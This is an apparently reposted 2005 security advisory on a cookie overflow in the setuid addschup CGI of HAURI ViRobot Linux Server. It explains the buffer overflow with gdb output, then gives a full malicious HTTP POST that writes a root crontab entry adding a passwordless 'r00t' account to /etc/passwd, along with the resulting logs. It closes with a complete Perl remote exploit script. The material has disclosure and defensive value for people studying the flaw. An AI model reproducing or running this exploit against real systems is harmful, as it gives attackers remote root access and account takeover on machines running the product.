本文共 10690 字，大约阅读时间需要 35 分钟。

DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'Author: Kevin FinisterreVendor: Product: 'ViRobot Linux (and Unix?) Server'References: Description: HAURI, Inc. is a leading anti-virus solution provider in the global market. The "ViRobot" which was developed exclusively by HAURI, is an excellent and powerful anti-virus that uses a unique type of detection engine technology to detect the latest viruses and to repair files infected with those viruses. The HAURI anti-virus technology is regarded highly in Korea and has received rave reviews from all over the world. HAURI has a customer base in multiple parts of the world:US & Canada : Global HAURI Inc. - Singapore : HAURI ASIA Pte Ltd. -  Japan : HAURI JAPAN Inc. - China : China Blue Star Hauri Technology Co., Ltd. - Latin/Mexico : HAURI Latinoamerica S.A. - Latin/Brazil : Hauri do Brazil - Europe : Hauri Europe GmbH - Korea : HAURI Inc. - HAURI, Inc. is also a GSA Schedule compatible company.Our testing was performed against the 60 Day ViRobot trial located at: b37ae48a9c46985a753f5d28588753c2  /home/kfinisterre/linux_eng_60days.tar.gzBoth ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-basedcontrol interface. Access control is built into the system to ensure that only authorized personnel can have control of the server. Unfortunately the system makes use of cookie based authentication in an insecure manor.During our trial run we found that the /usr/local/ViRobot/cgi-bin/addschup binary is vulnerable to a trivial remote expoit. In order to explain the bug we can make use of multiple exported variables to simulate a remote request. Below we show the environmental conditions necessary to exploit addschup remotely. The fact that addschup is setuid helps make this both a local and remote root. jdam:/usr/local/ViRobot/cgi-bin# ls -al addschup-rwsr-sr-x  1 root staff 26484 2005-01-05 01:30 addschupWe need to set the following variables in order to behave as if a browser requestwas made. kfinisterre () jdam:/tmp$ export REMOTE_ADDR=127.0.0.1 kfinisterre () jdam:/tmp$ export REQUEST_METHOD=POST kfinisterre () jdam:/tmp$ export CONTENT_TYPE=application/x-www-form-urlencoded kfinisterre () jdam:/tmp$ export CONTENT_LENGTH=1 kfinisterre () jdam:/tmp$ export PATH=$PATH:/sbin:/usr/sbin At this point the cgi binary should run however it will complain that we have not authenticated. You need to authenticate.

From the usage of ltrace we found that the request for authentication is checked via

a cookie with the paramaters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS is optional for exploitation. For the time being setting the ViRobot_ID to a string of 36 chars should work just fine.  kfinisterre () jdam:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>Because we set out CONTENT_LENGTH to 1 earlier we must send at least one char to thestdin of the addschup binary. When addschup is satisfied with all environment of thevariables and the input from stdin it will attempt to create a crontab file for root.Since we are running the program as a regular binary rather than as a cgi the output html that the web browser should recieve is dumped to the terminal.kfinisterre () jdam:/usr/local/ViRobot/cgi-bin$ echo a | ./addschupContent-type:text/html
   In the above example we chose to use a ViRobot_ID of 36 chars. We did this in orderto outline the basis of the vulnerability. As mentioned above addschup attempts to addthe scheduled update to roots crontab in /var/spool/cron/root. Unfortunately the author of ViRobot made use of a small buffer to hold the username from the cookie data.Because of this some of our userinput has spilled over into the buffer that is supposedto contain the entry that will be placed in the crontab file. The result as you can seeis a string of four A's in roots crontab just before the vrupdate command. The above example causes a root crontab entry with malicious userinput. kfinisterre () jdam:/usr/local/ViRobot/cgi-bin$ cat /var/spool/cron/root* * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1The below output from gdb outlines the usage of a small 32 byte buffer to store the username for ViRobot. The data stored in the username variable comes from the HTTP_COOKIE's ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding over into the install_path variable. This is an example of a valid username stored in the username buffer:0x8052e00 
   
    :    "virobotadmin-aaaaaaaaaaaa"0x8052e1c 
    
     :         ""0x8052e1d 
     
      :         ""0x8052e1e 
      
       :         ""0x8052e1f 
       
        :         ""0x8052e20 
        
         : "/usr/local"This however shows an overflown username bleeding into the install path. 0x8052e00 
         
          : "virobotadmin-aaaaaaaaaaaa", 'A' 
          
           ...0x8052ec8 
           
            : 'A' 
            
             ...Overflowing the install_path alone is not enough for exploitation. Lucky for us the install_path is used later on as a prefix for the crontab entry. This data shows what the cron entry looks like both before and after the overflow of the username field. 0x8052f70: "¼p/025 () ¼p/025@* /usr/local/ViRobot/vrupdate -s > /dev/null 2>&1/n"0x8052f70: "¼p/025 () ¼p/025@* AAAAA/ViRobot/vrupdate -s > /dev/null 2>&1/n"In essence what happens is that We control the 6th paramater passed to an fprintf call that uses the following format. 0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1/n"Controlling the data that is written to roots crontab obviously gives us some flexibility for exploitation. Unfortunately we do not have any control over some of the crontab datahowever this does not pose any issue when exploiting the condition. After writing the data to /var/spool/cron/root virobot executes the following commands: killall crond > /dev/null /etc/rc.d/init.d/crond restart > /dev/null If we combine the fact that we can write to roots crontab with the fact that this can all be done remotely we wind up with a nice exploit. The above malformed queries can simply be sent via http with the following request: POST /cgi-bin/addschup HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: keep-aliveContent-type: application/x-www-form-urlencodedContent-length: 1Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &The logs on the host being attacked will resemble the following: in /usr/local/ViRobot/var/apache/access_log:192.168.1.201 - - [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup HTTP/1.1" 200 149in /var/log/messages:Jan 23 16:51:00 localhost crond: crond startup succeededin /var/log/cron:Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65 min.Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70 min.Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75 min.Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed sequentiallyJan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1)Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1)in /etc/passwd (per our example). r00t::0:0:root:/root:/bin/bashr00t::0:0:root:/root:/bin/bashKeep in mind that output will be added every minute cron runs unless the attack has been cleaned up. This has been tested on the default version of Redhat 9 with vixie-cron-3.0.1-74 and Debian 3.1 with cron-3.0pl1-86. The redhat system was exploited instantly. With debian however the cron package makes use of /var/spool/cron/crontabs/ which prevents the malformed crontab from being executed. Debian users with ViRobot may have made their system exploitable in efforts to have full functionality. This could have been done via "ln -s /var/spool/cron/root/ /var/spool/cron/crontabs/root".Please note that the addschup is not the only binary that overflows via the above mentioned method. We found that addschup provided the best remote exploitation. Other binaries may provide other local or remoteattack vectors. Work Around: Chmod -s every virobot binary in sight and filter remote access to the web interface. Timeline associated with this bug: Wed, 14 Mar 2005 Tired of sitting on the information, public disclosure.Please note that the vendor was NOT notified based on prior frustrating disclosure attempts. After the release of SRT2003-08-11-0729 (via SnoSoft) I made the decision to not deal with the company moving forward. Thanks to Alex Hernandez for turning me on to this product and the fact that it is full of bugs!-KF
            
           
          
         
        
       
      
     
    
   

#!/usr/bin/perl# ViRobot 2.0 remote cookie exploit - ala addschup# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com## jdam:/home/kfinisterre# ls -al /var/spool/cron/root# ls: /var/spool/cron/root: No such file or directory# jdam:/home/kfinisterre# ls -al /var/spool/cron/root# -rw-r--r--  1 root staff 104 2005-01-23 14:43 /var/spool/cron/root## We control the 6th paramater passed to an fprintf call. # # 0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1/n"## * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1use IO::Socket;$hostName = $ARGV[0];$sock = IO::Socket::INET->new (                Proto => "tcp",                PeerAddr => $hostName,                PeerPort => 8080,                Type => SOCK_STREAM);if (! $sock){        print "[*] Error, could not connect to the remote host: $!/n";        exit (0);}$target = "/cgi-bin/addschup";$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &"; $postbody = "POST $target HTTP/1.1/n" ."Host: localhost:8080/n" ."User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5/n" ."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5/n" ."Accept-Encoding: gzip,deflate/n" ."Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7/n" ."Keep-Alive: 300/n" ."Connection: keep-alive/n" ."Content-type: application/x-www-form-urlencoded/n" ."Content-length: 1/n" ."Cookie: ViRobot_ID=" . "A" x 32 . "$crondata/n";print $sock $postbody;close ($sock);exit (0);

转载地址：http://jyqmb.baihongyu.com/